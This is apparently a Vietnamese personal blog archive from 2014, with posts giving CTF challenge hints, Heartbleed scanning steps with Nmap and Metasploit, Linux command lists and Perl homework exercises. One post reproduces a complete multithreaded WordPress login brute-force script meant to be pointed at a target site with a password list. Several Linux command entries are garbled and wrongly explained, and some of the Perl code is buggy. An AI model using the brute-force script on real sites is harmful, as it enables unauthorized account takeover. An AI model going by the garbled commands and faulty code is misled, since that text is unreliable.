Thứ Tư, 30 tháng 4, 2014

writeup dareyourmind

1.java
 +Really EASY one 
          view source-->pass
 +Nice one 
          view source-->copy toàn bộ code html-->tìm site chạy html online-->paste vào và alert giá trị d-->d là pass
 +Easy Again 
          view source-->search js3.js-->pass
2.crypto 
 +1945 
          lấy ảnh search trên google để tìm thuật toán-->đó là Navajo-->http://www.dcode.fr/code-navajo-->battleship
 +md5 
          view source để lấy mã MD5 của file ảnh, sau đó giải mã
 +Basic crypto 
          mission này mình chưa biết thuật toán, nhưng cơ bản nó làm theo phương pháp này
           -thay  W=E ; L=T ; Z=H ; A=I ; K=S ; F=N ; U=C ; J=R ; O=W ; H=P ; T=B ; D=L ; G=O ; M=U ; Y=G; Q=Y; V=D;
           -pass là: REALWORLD
 +...  
          mã morse, dùng site www.dcode.fr/code-morse
 +RSA I 
          -chạy code
  <code> prime = 71306041856078779
   ssqrt = int(prime**0.5)
   for i in xrange(2, ssqrt):
   if prime%i == 0:
   print i </code>
           -KQ: 258726997*275603407
+ Bell
          Lấy ảnh tìm trên google, thấy tên ông này gắn liền với cái gì, thì cái đó là flag
+ BLAISEDEVIGENERE 
          Lấy tiêu đề tìm với googleà tên thuật toánà http://www.dcode.fr/chiffre-vigenere à dùng key  BLAISEDEVIGENERE để decode
3.Stegano
+1st stegano   dùng paint, đổ màu vào
+Black&White stegano  dùng site: http://www.onlinebarcodereader.com/
+BinaryCoded and ASCII dùng paint, đổ màu vào

4.Logic
 +When is my birthday?  31/12-01/01
+3 Cathy daughters
 Tích bằng 36 nên có các trường hợp sau:
1, 3, 12
2, 2, 9
3, 3, 4
6, 2, 3
1, 2, 18
1, 4, 9
1, 1, 36
1, 6, 6
đêm thử hết các trường hợp(do mình kém en nên không phân tích được) -->điền vào với cú pháp như ví dụ, nhưng nhớ là theo chiều giảm dần nhé. 
5. Realistic
+Miamiam a Cookie
 Dùng edit this cookies-->xóa name-->check lại bằng pass rỗng-->thấy gợi ý-->copy và paste user vào name trong addon-->check lại và thấy pass
 


Thứ Ba, 22 tháng 4, 2014

Test Heartbleed with Nmap or Metasploit in Kali

Nmap 
1. Update nmap & nse
$ apt-get install nmap
$ nmap --script-updatedb
(Or you can download ssl-heartbleed.nse from https://svn.nmap.org/nmap/scripts/ssl-heartbleed.nse, and tls.lua from http://nmap.org/svn/nselib/tls.lua. Save tls.lua to /usr/share/nmap/nselib and ssl-heartbleed.nse to /usr/share/nmap/scripts/)

2.  Using nmap scan with heartbleed script.
$ nmap -sV --script=ssl-heartbleed target

Metasploit
1. Update your metasploit
$ msfupdate 

2. Get your msfconsole
$ msfconsole 

3. Use auxiliary/scanner/ssl/openssl_heartbleed module and set RHOSTS to target host. And run
msf> use auxiliary/scanner/ssl/openssl_heartbleed
msf> set RHOSTS  
msf> run


Linux Commands

10 Linux Commands For Finding Files And Directories

1. find /-name file1
This command is used in order to search for a directory or file from the root system.
2. find /-user user1
This is a command that allows you to find files and directories that are owned by user1.
3. find / home/user1-name \ * bin
This command helps you when you need to find files that have the .bin extension in the home/user1 directory.
4. find / usr / bin-type f-atime +100
This command is useful for finding the finally files that haven't been used in the last 100 days.
5. find / usr / bin-type f-mtime -10
This command works like the last one, but searches in the last 10 days.
6. find /-name \ * rpm-exec chmod 755 '{}' \;
Use this command when you need to find and modify files with specific permissions. In the above command you're looking for files with permissions 'rpm'.
7. find /-xdev-name \ * rpm
This command helps you find files that end with extensions while ignoring removable devices.
8. locate \ * ps
With this you can find files with ps.
9. whereis halt
This command is useful when you need to see the location of a binary file or the source of the support.
10. Which halt
This will show you the complete path of a binary or executable file.

15 Linux Command That Can Be Used To View System Info 

1. arch
This command will show you the architecture of your system.
2. uname-m
This is another command to view the architecture of the system.
3. uname-r
This command is used to check the kernel version that is being used in the system.
4. dmidecode-q
This command give you the hardware components in your system.
5. hdparm-i / dev / hda
This is the command that shows the characteristics of your hard disk.
6. hdparm-tT / dev / sda
This command is used in order to conduct tests readings on hard drives.
7. cat / proc / cpuinfo
These commands can help you in getting CPU information.
8. cat / proc / interrupts
These commands are used to interrupt a process.
9. cat / proc / meminfo
This command verifies the memory usage in your system.
10. cat / proc / swaps
These commands are used in order to swap files.
11. cat / proc / version
These three commands can display the kernel version for your system.
12. cat / proc / net / dev
These four commands are used to view the network adapters and display statistics of the system.
13. cat / proc / mounts
This command shows you the mounted file system.
14. lspci-tv
If you need to view the PCI display devices then this is the command to use.
15. lsusb-tv
This is the command for displaying USB devices.

Thứ Hai, 31 tháng 3, 2014

Security Training Share

1. How to Hack a Website with kali linux

2. Kali Linux - Fake Access Point

4. Metasploit Penetration Testing Cookbook 2nd Edition

5. WordPress Brute Force MultiThreading Python

code wp.py

  1. #!/usr/bin/python
  2. # Video: http://youtu.be/mURnM-Yp72g
  3. # Coded By: xSecurity
  4. import urllib, urllib2, os, sys, requests as xsec, re
  5. from time import sleep
  6. from threading import Thread
  7. def cls():
  8.     linux = 'clear'
  9.     windows = 'cls'
  10.     os.system([linux,windows][os.name == 'nt'])
  11. cls()
  12. print '''
  13.       __                      _ _        
  14. __  __/ _\ ___  ___ _   _ _ __(_) |_ _   _
  15. \ \/ /\ \ / _ \/ __| | | | '__| | __| | | |
  16. >  < _\ \ __/ (__| |_| | |  | | |_| |_| |
  17. /_/\_\\__/\___|\___|\__,_ |_|  |_|\__|\__, |
  18.                                     |___/WordPress Brute Muliththreading :)
  19. #Home: Sec4ever.CoM | Is-Sec.CoM | s3c-k.com
  20. #Greets: UzunDz - b0x - Lov3rDNS - Mr.Dm4r - DamaneDz - rOx - r0kin
  21. Special For My Lov3r Cyber-Crystal
  22. #Usage: Python wp.py http://target.com/ admin pass.txt
  23. #Note: U Need Install Requests Package: http://www.youtube.com/watch?v=Ng5T18HyA-Q'''
  24. xsec = xsec.session()
  25. def brute(target,usr,pwd):
  26.     get = xsec.get(target+'/wp-admin/')
  27.     post = {}
  28.     post["log"] = usr
  29.     post["pwd"] = pwd
  30.     post["wp-submit"] = "Log+in"
  31.     post["redirect_to"] = target
  32.     post["testcookie"] = "1"
  33.     get2 = xsec.post(target+'/wp-login.php' , data=urllib.urlencode(post))
  34.     get3 = xsec.get(target+'/wp-admin')
  35.     if '<li id="wp-admin-bar-logout">' in get3.text:
  36.         print '[+] Cracked Username: '+usr+' & Password: '+pwd
  37.         os._exit(1)
  38.     else:
  39.         print '[~] Trying ...: '+pwd
  40. if len(sys.argv) >= 3:
  41.     target = sys.argv[1]
  42.     usr = sys.argv[2]
  43.     lst = open(sys.argv[3]).read().split("\n")
  44.     print '[*]Target: '+target
  45.     print '[*]LIST:',len(lst)
  46.     print '[*]Username: '+usr
  47.     thrdlst = []
  48.     for pwd in lst:
  49.         t = Thread(target=brute, args=(target,usr,pwd))
  50.         t.start()
  51.         thrdlst.append(t)
  52.         sleep(0.009)
  53.     for b in thrdlst:
  54.         b.join()
  55. else:
  56.     print '[>]There Somthing Missing Check ARGVS :)'

6. Crack, hash,.. tool


Thứ Tư, 26 tháng 3, 2014

Bài tập mẫu về Perl

1) Nhập n và đếm số chẵn từ 1 tới n , hiển thị
PHP Code:
sub soChan{
    
$number = scalar(@_[0]);
    if(
int($number%2)==0)
    {
        return 
1;
    }
    else
    {
        return 
0;
    }
}

print 
"Nhap n: "; $n = int(<>);
for 
my $i (1..$n)
{
    if(
soChan($i) == 1)
    {
        print 
" $i ";
        if(
$i<$n)
        {
            print 
",";
        }
    }
}  

2)Nhập n và đếm số nguyên tố từ 2 tới n , hiển thị 
sub checkNgTo{
    
$number = int(@_[0]);
    
$count=0;

    if(
$number > 2)
    {
        for 
my $i(1..$number)
        {
            if(
int($number % $i)==0)
            {
                
$count++;


            }
        }
    }
    else
    {
        return 
0;
    }

    if(
$count == 2)
    {
        return 
1;
    }
    else
    {
        return 
0;
    }
}

print 
"Nhap n: ";$n = int(<>);
for 
my $i (2..$n)
{
    if(
checkNgTo($i) == 1)
    {
        print 
" $i ";

    }
}

print 
"\n";  

3)Nhập n và tính tổng bình phương các số lẻ từ 1->n

sub soChan{
    
$number = scalar(@_[0]);
    if(
int($number%2)==0)
    {
        return 
1;
    }
    else
    {
        return 
0;
    }
}

print 
"Nhap n: "; $n = int(<>); $tong=0;
for 
my $i (1..$n)
{
    if(
soChan($i) == 0)
    {
        
$tong+=$i*$i;


    }
}
    print 
"Tong binh phuong cua cac so le tu 1 toi $n la : $tong ";
print 
"\n"; 

4)Nhập n và tính giai thừa

print "Nhap n: "; $n = int(<>); $gt=1;
for 
my $i (2..$n)
{

        
$gt*=$i;


}
    print 
"Giai thua cua $n la : $gt ";
print 
"\n";  
5)Nhập n và tính uscln , bscnn
PHP Code:
sub USCLN{
    
my $a=int(@_[0]);
    
my $b=int(@_[1]);
    if(
$a<0)
    {
        
$a=int(0-$a);
    }
    if(
$b<0)
    {
        
$b=int(0-$b);
    }

    if(
$a==0)
    {
        return 
$b;
    }
    if(
$b==0)
    {
        return 
$a;
    }
    while(
$a!=$b)
    {
        if(
$a>b)
        {
            
$a-=$b;
        }
        else
        {
            
$b-=$a;
        }
    }
    return 
$b;
}

print 
"\nNhap a: ";
$a=int(<>);
print 
"\nNhap b: ";
$b=int(<>);
$result=USCLN($a,$b);
print 
"USCLN cua $a va $b la : $result";
$result=($a*$b)/USCLN($a,$b);
print 
"\nBSCNN cua $a va $b la : $result";
print
"\n";


6)Nhập mảng gồm n phần tử , đếm số phần tử chẵn trong mảng

PHP Code:

@M1; $dem=0;# Hàm tìm số chẵnsub soChan{
    
$value = @_[0];
    if(
int($value)%2 == 0)
    {
        return 
1;
    }
    else
    {
        return 
0;
    }
}
print (
"Nhap n phan tu: "); $n = int(<>);
for 
$i (0..$n-1)
    {
        print 
"\n Nhap phan tu thu [$i]: ";
        
$temp=<>;
        
push(@M1,$temp);
    }

for 
$i (0..$n-1)
    {
        if(
soChan(@M1[$i]) == 1){
            
$dem++;}
    }

print 
"\nCo $dem so phan tu chan trong mang\n"; 


7)Nhập mảng gồm n phần tử , in tổng số chẵn trong mảng
PHP Code:
@M1;$dem=0;$tong=0;# Hàm tìm số chẵnsub soChan{
    
$value = @_[0];
    if(
int($value)%2 == 0)
    {
        return 
1;
    }
    else
    {
        return 
0;
    }
}
print (
"Nhap n phan tu: ");$n = int(<>);
for 
$i (0..$n-1)
    {
        print 
"\n Nhap phan tu thu [$i]: ";
        
$temp=<>;
        
push(@M1,$temp);
    }

for 
$i (0..$n-1)
    {
        if(
soChan(@M1[$i]) == 1){
            
$tong+=@M1[$i];}
    }

print 
"\nTong so chan trong mang la : $tong\n";  
8)Nhập mảng gồm n phần tử , in mảng ra và cho phép nhập phần tử cần xóa , xóa phần tử và in mảng lại sau khi xóa
PHP Code:
sub xoaPhanTu{
    
$size = @_[0];
    
$valueDel = @_[1]; my $index = 0;
while (
$index <= $size ) {
  
my $value = $M1[$index];

  if ( 
$value == $valueDel ) {
    
splice @M1, $index, 1;
  } else {
    
$index++;
  }
}

}

@
M1;
print (
"Nhap n phan tu: "); $n = int(<>);
for 
$i (0..$n-1)
    {
        print 
"\n Nhap phan tu thu [$i]: ";
        
$temp=<>;
        
$temp=int($temp);
        
push(@M1,$temp);
    }


    print 
"M1: ";
for 
$i (0..$n-1)
    {

        print 
"@M1[$i] ";
    }
     
$valueDel;
print 
"\nNhap gia tri can xoa khoi mang : "; $valueDel=int(<>); xoaPhanTu($#M1,$valueDel); print "\nMang sau khi xoa phan tu : ";
    for 
$i (0..$n-1)
    {

        print 
"@M1[$i] ";
    }
    print 
"\n";  
9)Nhập mảng gồm n phần tử , sắp xếp mảng tăng và giảm 
PHP Code:
# Cú pháp lệnh sắp xếp số
#     sort {$a<=>$b} your_arr = Sắp xếp tăng dần
#     sort {$b<=>$a} your_arr Sắp xếp giảm dần
     
@M1;
print (
"Nhap n phan tu: "); $n = int(<>);
for 
$i (0..$n-1)
    {
        print 
"\n Nhap phan tu thu [$i]: ";
        
$temp=<>;
        
$temp=int($temp);
        
push(@M1,$temp);
    }




print 
"Mang chu sap xep: @M1";
print 
"\nSap xem tang dan:\n "; my @sort = sort{$a<=>$b} @M1;
print 
" @sort ";
print 
"\nSap xem giam dan:\n "; my @sort = sort{$b<=>$a} @M1;
print 
" @sort ";
print 
"\n";  
10)Nhập mảng gồm n phần tử , kiểm tra trong mảng có bao nhiêu số nguyên tố và đưa những số nguyên tố đó vào mảng 2 - Xuất M2 ra màn hình
PHP Code:
sub soNgTo{
    
$number = int(@_[0]);
    
$count=0;

    if(
$number > 2)
    {
        for 
my $i(1..$number)
        {
            if(
int($number % $i)==0)
            {
                
$count++;
       
       
            }
        }
    }
    else
    {
        return 
0;
    }

    if(
$count == 2)
    {
        return 
1;
    }
    else
    {
        return 
0;
    }
}
sub xuatMangM2{
    
$size = @_[0];
    for 
$i (0..$size)
    {
        
my $convert = int(@M2[$i]);
        print 
"$convert  ";
    }
}




@
M1,@M2; $dem=0;

print 
"Nhap so phan tu : "; $n=int(<>);
for 
my $i (0..$n-1)
    {
        print 
"\n Nhap phan tu thu [$i]: ";
        
$temp=<>;
        
$temp=int($temp);
        
push(@M1,$temp);
    }


for 
my $i (0..$n-1)
    {
        if(
soNgTo(@M1[$i]) == 1)
        {
            
my $temp = @M1[$i];
            
push(@M2,$temp); # Đẩy số nguyên tố vào mảng M2
            
$dem++;
   
        }
    }


print 
"Co $dem so nguyen to trong mang M1 , nhung so do la: ";xuatMangM2($#M2);

    
print "\n";
11)Tạo một file với tên "HelloPerl.txt" và ghi vào đó nội dung "dtu.edu.vn"
PHP Code:
open (CreateNew,">HelloPerl.txt") or die "Khong the tao file";
print 
CreateNew "dtu.edu.vn" or die "Khong the ghi noi dung file"; close CreateNew;
print 
"Da tao file thanh cong";
print 
"\n";  
12)Xóa hết nộp dung ghi trên file vừa tạo và ghi vào đó nội dung "Khoa CNTT DH Duy Tan"
PHP Code:
open (OpenFile,"HelloPerl.txt") or die "Khong the mo file"; open (GhiDe,">HelloPerl.txt") or die "Khong the ghi de";
print 
GhiDe "Khoa CNTT DH Duy Tan" or die "Khong the ghi noi dung file"; close GhiDe; close OpenFile;
print 
"Da ghi de thanh cong";
print 
"\n";  
13)Ghi đè nội dung file vừa tạo , thêm vào phía dưới câu "Nam hoc 2013-2014"
PHP Code:
open (OpenFile,"HelloPerl.txt") or die "Khong the mo file"; open (GhiChen,">>HelloPerl.txt") or die "Khong the ghi chen";
print 
GhiChen "\nNam hoc 2013-2014" or die "Khong the ghi noi dung file"; close GhiChen; close OpenFile;
print 
"Da ghi chen thanh cong";
print 
"\n";  
14)Nhập mảng gồm n phần tử , kiểm tra và ghi phần tử chẵn vào file "soChan.txt", ghi phần tử nguyên tố vào file "soNguyenTo.txt"
PHP Code:
sub soChan{
    
$number = scalar(@_[0]);
    if(
int($number%2)==0)
    {
        return 
1;
    }
    else
    {
        return 
0;
    }
}
sub checkNgTo{
    
$number = int(@_[0]);
    
$count=0;

    if(
$number > 2)
    {
        for 
my $i(1..$number)
        {
            if(
int($number % $i)==0)
            {
                
$count++;
           
           
            }
        }
    }
    else
    {
        return 
0;
    }

    if(
$count == 2)
    {
        return 
1;
    }
    else
    {
        return 
0;
    }
}
$value;
@
arr;
do{
    print 
"Nhap so : ";
    
$value=<>;
    
$value=int($value);
    if(
$value > -1){
    
push(@arr,$value);
}
}while (
$value != -1);# Tạo file soChan.txt và file soNguyenTo.txt open (CreateSoChan,">soChan.txt"); open (CreateSoNguyenTo,">soNguyenTo.txt");# Kiểm tra số chẵn trong mảng và ghi vào file soChan.txt for $i (0..$#arr) {
    if(&
soChan(@arr[$i]) == 1) # kiem tra so chan
    
{
   
        print 
CreateSoChan "@arr[$i]\n";
   
    }


} 
close CreateSoChan;

for 
$i (0..$#arr) {
    if(&
checkNgTo(@arr[$i]) == 1) # kiem tra nguyen to
    
{
   
        print 
CreateSoNguyenTo "@arr[$i]\n";
   
    }


}     
close CreateSoNguyenTo;


print 
"\n Ghi hoan tat";
print 
"\n";  
15)Đọc 2 thông tin từ file "soChan.txt" và "soNguyenTo.txt" ở trên, chép vào file "tongHop.txt"
PHP Code:
#Gop noi dung 2 file @file1,@file2;open (OpenSoChan,"soChan.txt") or die "Can't open "; open (OpenSoNgTo,"soNgTo.txt") or die "Can't open "; open $AddSoChan, ">", "tongHop.txt" or die "Can't open 'tongHop.txt'\n";

for 
my $line (<OpenSoChan>)
{
    print 
$AddSoChan $line;
} 
close OpenSoChan; close $AddSoChan;open $AddSoNgTo, ">>", "$existingdir/ketQua.txt" or die "Can't open 'tongHop.txt'\n";

for 
$lines (<OpenSoNgTo>)
{
    print 
$AddSoNgTo $lines;
} 
close OpenSoNgTo; close $AddSoNgTo;  
16)Viết 1 đoạn perl script đọc file MetaCharacter.txt và kiểm tra trong file đó có từ DuyTan hay không ? Nếu có thì in ra còn nếu không thì báo "Không có!"
PHP Code:
open (Open,"MetaCharacters.txt") or die ("Can't open"); $check = 0;
for 
$line (<Open>)
{
    if(
$line =~/DuyTan/)
    {
        print 
$line;
        
$check = 1;
    }
}


if(
$check == 0)
{
    print 
"Khong co";
}
print 
"\n";  
17)Nhập vào file MetaCharacter thông tin sau
     DuyTan
     DuuuuuuyTan
     DyTan
     Yêu cầu viết script cho những tính năng sau
     - Hiển thị : DuyTan và DuuuuuuyTan
     - Hiển thị : DuyTan và DyTan
     - Hiển thị : DuyTan , DuuuuuuyTan và DyTan

PHP Code:
a) open (Open,"MetaCharacters.txt") or die ("Can't open"); $check = 0;
for 
$line (<Open>)
{
    if(
$line =~/Du+y/)
    {
        print 
$line;
        
$check = 1;
    }
}


if(
$check == 0)
{
    print 
"Khong co";
}
print 
"\n";

b) open (Open,"MetaCharacters.txt") or die ("Can't open"); $check = 0;
for 
$line (<Open>)
{
    if(
$line =~/Du?y/)
    {
        print 
$line;
        
$check = 1;
    }
}


if(
$check == 0)
{
    print 
"Khong co";
}
print 
"\n";c) open (Open,"MetaCharacters.txt") or die ("Can't open"); $check = 0;
for 
$line (<Open>)
{
    if(
$line =~/Du*y/)
    {
        print 
$line;
        
$check = 1;
    }
}


if(
$check == 0)
{
    print 
"Khong co";
}
print 
"\n";  
18)Tạo 1 file addressWeb.txt trog đó có các địa chỉ sau
       http://www.example.com/test.php
       http://www.example.com/test.html
       www.example.com/test.html
       www.example.com/test.php
       Yêu cầu viết script chỉ hiển thị những dòng nào có đủ giao thức và link dưới dạng html

PHP Code:

# Chương trình đọc file địa chỉ web và hiển thị những địa chỉ có tồn tại trang html

# Tạo mới file và đẩy nội dung vào
open (CreateNew,">addressWeb.txt"); # Thêm nội dung cho trang web print CreateNew "http://google.com\n";
print 
CreateNew "http://google.com/test.html\n";
print 
CreateNew "http://google.com/test.html\n";
print 
CreateNew "http://google.com/test.html\n";
print 
CreateNew "1\n"; close CreateNew;# Đọc file và in ra những dùng có tồn tại link htmlopen (OpenFile,"addressWeb.txt");
for 
$line (<OpenFile>)
{ 
$string = $line;
if((
$string =~ /^http:/) and ($string =~ /html$/))
{
    print 
$string;
}

} 
close OpenFile;  
19)Tạo 1 file soDienThoai.txt trong đó có nội dung như sau
      0511-345123
      0511-3613759
      05113-245125
      0511-2225198
      Yêu cầu viết script hiển thị những số điện thoại đúng chuẩn : xxxx-xxxxxx

PHP Code:
# CharacterClasses

# Chương trình đọc file và in ra danh sách số điện thoại theo mã vùng 0511


# Tạo mới 
open(CreateNewSDT,">phoneNumber.txt");
print 
CreateNewSDT "0511-113\n";
print 
CreateNewSDT "0608-22541\n";
print 
CreateNewSDT "0511-3613759\n";
print 
CreateNewSDT "0511-2225198\n"; close CreateNewSDT;
# Đọc open (Read,"phoneNumber.txt");
for 
$line (<Read>)
{
    
$phone = $line;
    if(
$phone =~ /\d{4}-\d{7}/)
    {
        
        print 
$phone;
        
    }
}